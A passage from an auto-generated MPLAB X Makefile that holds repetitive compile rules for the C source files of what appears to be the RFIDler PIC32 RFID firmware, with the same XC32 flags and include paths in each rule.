${OBJECTDIR}/src/wiegand.o: src/wiegand.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/wiegand.o.d
@${RM} ${OBJECTDIR}/src/wiegand.o
@${FIXDEPS} "${OBJECTDIR}/src/wiegand.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/wiegand.o.d" -o ${OBJECTDIR}/src/wiegand.o src/wiegand.c
${OBJECTDIR}/src/comms.o: src/comms.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/comms.o.d
@${RM} ${OBJECTDIR}/src/comms.o
@${FIXDEPS} "${OBJECTDIR}/src/comms.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/comms.o.d" -o ${OBJECTDIR}/src/comms.o src/comms.c
${OBJECTDIR}/src/nvm.o: src/nvm.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/nvm.o.d
@${RM} ${OBJECTDIR}/src/nvm.o
@${FIXDEPS} "${OBJECTDIR}/src/nvm.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/nvm.o.d" -o ${OBJECTDIR}/src/nvm.o src/nvm.c
${OBJECTDIR}/src/mcp414x.o: src/mcp414x.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/mcp414x.o.d
@${RM} ${OBJECTDIR}/src/mcp414x.o
@${FIXDEPS} "${OBJECTDIR}/src/mcp414x.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/mcp414x.o.d" -o ${OBJECTDIR}/src/mcp414x.o src/mcp414x.c
${OBJECTDIR}/src/spi.o: src/spi.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/spi.o.d
@${RM} ${OBJECTDIR}/src/spi.o
@${FIXDEPS} "${OBJECTDIR}/src/spi.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/spi.o.d" -o ${OBJECTDIR}/src/spi.o src/spi.c
${OBJECTDIR}/src/uart3.o: src/uart3.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/uart3.o.d
@${RM} ${OBJECTDIR}/src/uart3.o
@${FIXDEPS} "${OBJECTDIR}/src/uart3.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/uart3.o.d" -o ${OBJECTDIR}/src/uart3.o src/uart3.c
${OBJECTDIR}/src/tags.o: src/tags.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/tags.o.d
@${RM} ${OBJECTDIR}/src/tags.o
@${FIXDEPS} "${OBJECTDIR}/src/tags.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/tags.o.d" -o ${OBJECTDIR}/src/tags.o src/tags.c
${OBJECTDIR}/src/unique.o: src/unique.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/unique.o.d
@${RM} ${OBJECTDIR}/src/unique.o
@${FIXDEPS} "${OBJECTDIR}/src/unique.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/unique.o.d" -o ${OBJECTDIR}/src/unique.o src/unique.c
${OBJECTDIR}/src/led.o: src/led.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/led.o.d
@${RM} ${OBJECTDIR}/src/led.o
@${FIXDEPS} "${OBJECTDIR}/src/led.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/led.o.d" -o ${OBJECTDIR}/src/led.o src/led.c
${OBJECTDIR}/src/em.o: src/em.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/em.o.d
@${RM} ${OBJECTDIR}/src/em.o
@${FIXDEPS} "${OBJECTDIR}/src/em.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/em.o.d" -o ${OBJECTDIR}/src/em.o src/em.c
${OBJECTDIR}/src/hid.o: src/hid.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hid.o.d
@${RM} ${OBJECTDIR}/src/hid.o
@${FIXDEPS} "${OBJECTDIR}/src/hid.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hid.o.d" -o ${OBJECTDIR}/src/hid.o src/hid.c
${OBJECTDIR}/src/read.o: src/read.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/read.o.d
@${RM} ${OBJECTDIR}/src/read.o
@${FIXDEPS} "${OBJECTDIR}/src/read.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/read.o.d" -o ${OBJECTDIR}/src/read.o src/read.c
${OBJECTDIR}/src/isr.o: src/isr.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/isr.o.d
@${RM} ${OBJECTDIR}/src/isr.o
@${FIXDEPS} "${OBJECTDIR}/src/isr.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/isr.o.d" -o ${OBJECTDIR}/src/isr.o src/isr.c
${OBJECTDIR}/src/auto.o: src/auto.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/auto.o.d
@${RM} ${OBJECTDIR}/src/auto.o
@${FIXDEPS} "${OBJECTDIR}/src/auto.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/auto.o.d" -o ${OBJECTDIR}/src/auto.o src/auto.c
${OBJECTDIR}/src/fdxb.o: src/fdxb.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/fdxb.o.d
@${RM} ${OBJECTDIR}/src/fdxb.o
@${FIXDEPS} "${OBJECTDIR}/src/fdxb.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/fdxb.o.d" -o ${OBJECTDIR}/src/fdxb.o src/fdxb.c
${OBJECTDIR}/src/hitag.o: src/hitag.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hitag.o.d
@${RM} ${OBJECTDIR}/src/hitag.o
@${FIXDEPS} "${OBJECTDIR}/src/hitag.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hitag.o.d" -o ${OBJECTDIR}/src/hitag.o src/hitag.c
${OBJECTDIR}/src/uid.o: src/uid.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/uid.o.d
@${RM} ${OBJECTDIR}/src/uid.o
@${FIXDEPS} "${OBJECTDIR}/src/uid.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/uid.o.d" -o ${OBJECTDIR}/src/uid.o src/uid.c
${OBJECTDIR}/src/login.o: src/login.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/login.o.d
@${RM} ${OBJECTDIR}/src/login.o
@${FIXDEPS} "${OBJECTDIR}/src/login.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/login.o.d" -o ${OBJECTDIR}/src/login.o src/login.c
${OBJECTDIR}/src/write.o: src/write.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/write.o.d
@${RM} ${OBJECTDIR}/src/write.o
@${FIXDEPS} "${OBJECTDIR}/src/write.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/write.o.d" -o ${OBJECTDIR}/src/write.o src/write.c
${OBJECTDIR}/src/auth.o: src/auth.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/auth.o.d
@${RM} ${OBJECTDIR}/src/auth.o
@${FIXDEPS} "${OBJECTDIR}/src/auth.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/auth.o.d" -o ${OBJECTDIR}/src/auth.o src/auth.c
${OBJECTDIR}/src/q5.o: src/q5.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/q5.o.d
@${RM} ${OBJECTDIR}/src/q5.o
@${FIXDEPS} "${OBJECTDIR}/src/q5.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/q5.o.d" -o ${OBJECTDIR}/src/q5.o src/q5.c
${OBJECTDIR}/src/vtag.o: src/vtag.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/vtag.o.d
@${RM} ${OBJECTDIR}/src/vtag.o
@${FIXDEPS} "${OBJECTDIR}/src/vtag.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/vtag.o.d" -o ${OBJECTDIR}/src/vtag.o src/vtag.c
${OBJECTDIR}/src/config.o: src/config.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/config.o.d
@${RM} ${OBJECTDIR}/src/config.o
@${FIXDEPS} "${OBJECTDIR}/src/config.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/config.o.d" -o ${OBJECTDIR}/src/config.o src/config.c
${OBJECTDIR}/src/select.o: src/select.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/select.o.d
@${RM} ${OBJECTDIR}/src/select.o
@${FIXDEPS} "${OBJECTDIR}/src/select.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/select.o.d" -o ${OBJECTDIR}/src/select.o src/select.c
${OBJECTDIR}/src/sdcard.o: src/sdcard.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/sdcard.o.d
@${RM} ${OBJECTDIR}/src/sdcard.o
@${FIXDEPS} "${OBJECTDIR}/src/sdcard.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/sdcard.o.d" -o ${OBJECTDIR}/src/sdcard.o src/sdcard.c
${OBJECTDIR}/src/debug_pins.o: src/debug_pins.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/debug_pins.o.d
@${RM} ${OBJECTDIR}/src/debug_pins.o
@${FIXDEPS} "${OBJECTDIR}/src/debug_pins.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/debug_pins.o.d" -o ${OBJECTDIR}/src/debug_pins.o src/debug_pins.c
${OBJECTDIR}/src/awid.o: src/awid.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/awid.o.d
@${RM} ${OBJECTDIR}/src/awid.o
@${FIXDEPS} "${OBJECTDIR}/src/awid.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/awid.o.d" -o ${OBJECTDIR}/src/awid.o src/awid.c
${OBJECTDIR}/src/analogue.o: src/analogue.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/analogue.o.d
@${RM} ${OBJECTDIR}/src/analogue.o
@${FIXDEPS} "${OBJECTDIR}/src/analogue.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/analogue.o.d" -o ${OBJECTDIR}/src/analogue.o src/analogue.c
